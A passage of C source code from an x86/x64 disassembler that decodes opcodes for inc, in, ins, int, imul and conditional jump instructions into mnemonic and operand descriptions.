        REX.W_ = 0;
        REX.R_ = 0;
        REX.X_ = 1;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      44h
// =======================================
void __stdcall inc_esp(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 1;
        REX.X_ = 0;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      45h
// =======================================
void __stdcall inc_ebp(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 1;
        REX.X_ = 0;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      46h
// =======================================
void __stdcall inc_esi(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 1;
        REX.X_ = 1;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      47h
// =======================================
void __stdcall inc_edi(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 1;
        REX.X_ = 1;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}
// =======================================
//
// =======================================
void __stdcall iret_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = RetType;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "iret ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall in_ALDX(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in ");
    (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]);
    (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
    (*pMyDisasm).Argument2.ArgSize = 16;
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall in_ALIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in ");
    ALIb(pMyDisasm);
}

// =======================================
//
// =======================================
void __stdcall in_eAX_Ib(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in ");
    if (!Security(1)) return;
    ImmediatSize = 8;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_+1));
    (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.2X", *((BYTE*) (EIP_+1)));
    (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers8Bits[0]);
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_+=2;
}

// =======================================
//
// =======================================
void __stdcall insb_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insb ");
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
    (*pMyDisasm).Argument2.ArgSize = 16;
    EIP_++;
    FillFlags(pMyDisasm, 41);


}

// =======================================
//
// =======================================
void __stdcall ins_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    if (OperandSize >= 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insd ");
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
        (*pMyDisasm).Argument2.ArgSize = 16;
        EIP_++;
        FillFlags(pMyDisasm, 41);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insw ");
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
        (*pMyDisasm).Argument2.ArgSize = 16;
        EIP_++;
        FillFlags(pMyDisasm, 41);
    }
}

// =======================================
//
// =======================================
void __stdcall into_(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "into ");
        EIP_++;
        FillFlags(pMyDisasm, 43);
    }
}

// =======================================
//      0edh
// =======================================
void __stdcall in_eAX(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "in ");
    if (OperandSize >=32) {
        (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
        (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
    else {
        (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
        (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[2]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
    EIP_++;
}

// =======================================
//      0cdh
// =======================================
void __stdcall int_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "int ");
    if (!Security(1)) return;
    ImmediatSize = 8;
    (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_+1));
    (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.2X", *((BYTE*) (EIP_+1)));
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument1.ArgSize = 8;
    EIP_+=2;
    FillFlags(pMyDisasm, 42);
}

// =======================================
//      0f1h
// =======================================
void __stdcall int1_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "int1 ");
    EIP_++;
    FillFlags(pMyDisasm, 42);
}

// =======================================
//      0cch
// =======================================
void __stdcall int3_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "int3 ");
    EIP_++;
    FillFlags(pMyDisasm, 42);
}

// =======================================
//      69h
// =======================================
void __stdcall imul_GvEvIv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul ");
    if (OperandSize >= 32) {
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else {
            OpSize = 103;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 6;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((DWORD*) (EIP_- 4));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.8X", *((DWORD*) (EIP_- 4)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 32;
        ImmediatSize = 32;
        FillFlags(pMyDisasm, 38);
    }
    else {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 4;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((WORD*) (EIP_- 2));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.4X", *((WORD*) (EIP_- 2)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 16;
        ImmediatSize = 16;
        FillFlags(pMyDisasm, 38);
    }
}

// =======================================
//      6bh
// =======================================
void __stdcall imul_GvEvIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul ");
    if (OperandSize >= 32) {
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else {
            OpSize = 103;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
        FillFlags(pMyDisasm, 38);
    }
    else {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument2);
        Reg_Opcode(&(*pMyDisasm).Argument1);
        EIP_+= DECALAGE_EIP + 3;
        if (!Security(0)) return;
        third_arg = 1;
        (*pMyDisasm).Instruction.Immediat = *((BYTE*) (EIP_- 1));
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X", *((BYTE*) (EIP_- 1)));
        (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE + ABSOLUTE_;
        (*pMyDisasm).Argument3.ArgSize = 8;
        ImmediatSize = 8;
        FillFlags(pMyDisasm, 38);
    }
}

// =======================================
//      0fafh
// =======================================
void __stdcall imul_GvEv(PDISASM pMyDisasm)
{

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,38);
}

// =======================================
//      70h
// =======================================
void __stdcall jo_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JO;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jo ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      71h
// =======================================
void __stdcall jno_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNO;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jno ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      72h
// =======================================
void __stdcall jc_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JC;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jc ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      73h
// =======================================
void __stdcall jnc_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNC;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnc ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}
// =======================================
//      74h
// =======================================
void __stdcall je_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "je ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      75h
// =======================================
void __stdcall jne_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNE;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jne ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      76h
// =======================================
void __stdcall jbe_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JB;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jbe ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      77h
// =======================================
void __stdcall jnbe_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
